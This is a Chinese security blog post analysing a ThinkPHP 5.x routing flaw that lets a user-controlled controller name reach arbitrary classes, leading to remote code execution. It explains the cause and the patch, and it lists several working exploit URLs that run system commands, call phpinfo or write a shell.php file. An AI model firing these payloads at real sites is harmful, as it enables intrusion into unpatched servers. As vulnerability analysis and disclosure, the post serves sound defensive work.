p0's blog | 破 关注网络安全
ThinkPHP5.x 路由缺陷导致远程代码执行
发表于: | 分类: 技术分享,代码审计 | 评论:2 | 阅读: 2650

博客更的越来越少了,笔记里捞出来几篇文章找出来一块发了。

0x00 介绍

ThinkPHP是一套国内流行的开源PHP MVC开发框架,其中存在3.x和5.x两个版本,目前3.x已停止维护,5.x为15年正式推出的,基本上对3.x进行了重构,针对于路由,也舍弃了默认的方式,正是因为新的路由存在缺陷,导致任意函数的调用。

0x01 知识背景

路由解析

?s=index/index/hello

tp5中路由舍弃了3.x中的?m=index&c=Index&a=hello方式,而使用一个参数s传递所有信息,s=/index/Index/hello中三部分分别代表module,controller,action。此次出现问题的部分便是controller,由于ThinkPHP中命名空间和自动加载的作用,每个类都可被访问到,即导致每个类都可被当做controller

参数处理

<?php
namespace app\index\controller;

class Test
{
    public function index($name){
        return 'Hello '+$name;
    }
    
}

?s=index/test/index&name=world

参数会自动处理,当然也可为数组,比如

?s=index/test/index&name[0]=world&&name[1]=xx

0x02 漏洞分析

在5.1.x中函数名为parseModuleAndClass,功能一样

parseClass()函数:

正常情况下会对name进行处理,限制在app\index\controller命名空间。

这里的name即为controller,前置处理为获取到module,controller,action,将controller传入该函数处理。

name中存在\\时,直接将name赋值到class,不再进行parseClass操作,配合自动加载的机制从而导致可为任意命名空间下的类作为controller,任意public都可被用户访问到,结合ThinkPHP5内置的一些类和方法便可造成远程命令执行。

0x03 POC

thinkphp/library/think/App.php 304-320行

    /**
     * 执行函数或者闭包方法 支持参数调用
     * @access public
     * @param string|array|\Closure $function 函数或者闭包
     * @param array                 $vars     变量
     * @return mixed
     */
    public static function invokeFunction($function, $vars = [])
    {
        $reflect = new \ReflectionFunction($function);
        $args    = self::bindParams($reflect, $vars);

        // 记录执行信息
        self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

        return $reflect->invokeArgs($args);
    }

?s=index/think\app/invokefunction/function/call_user_func_array&vars[0]=system&vars[1][]=id

ReflectionFunction为PHP中的反射类,反射调用call_user_func_arraycall_user_func_array为回调函数,回调system,参数为id

已知POC(来自t00ls):

1、?s=index/\think\Request/input&filter=phpinfo&data=1
2、?s=index/\think\Request/input&filter=system&data=id
3、?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4、?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

0x04 漏洞补丁

该补丁为5.0.x补丁,5.1.x位置不一样,方式一样。

补丁方式为限制controller只能为字母和数字。并且放在controller处理之前。

0x05 总结

简单来说这个洞是由于用户控制了controller导致的,开发者将处理controller的代码封装到了Loader.php,并且与其他功能进行代码复用,为了满足其他功能增加的功能(即特殊处理存在\\的参数),从而导致了漏洞。代码复用是开发者优质的习惯,但也需要严格审核是否因为书写复用代码时是否会造成漏洞。

另外,可以看到这是一个非常浅显的洞,至今没有人发现,最终由官方爆出,也许很多用户默认此开源框架“流行 == 安全”,其实很多应用并不是想象中的完全安全,漏洞经常发生在被人忽视的地方。


著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:https://p0sec.net/index.php/archives/125/
来源:https://p0sec.net/

已有 2 条评论

  1. 贵站的图片好像挂了

    1. p0 p0

      谢谢提醒,已更新

添加新评论

TOP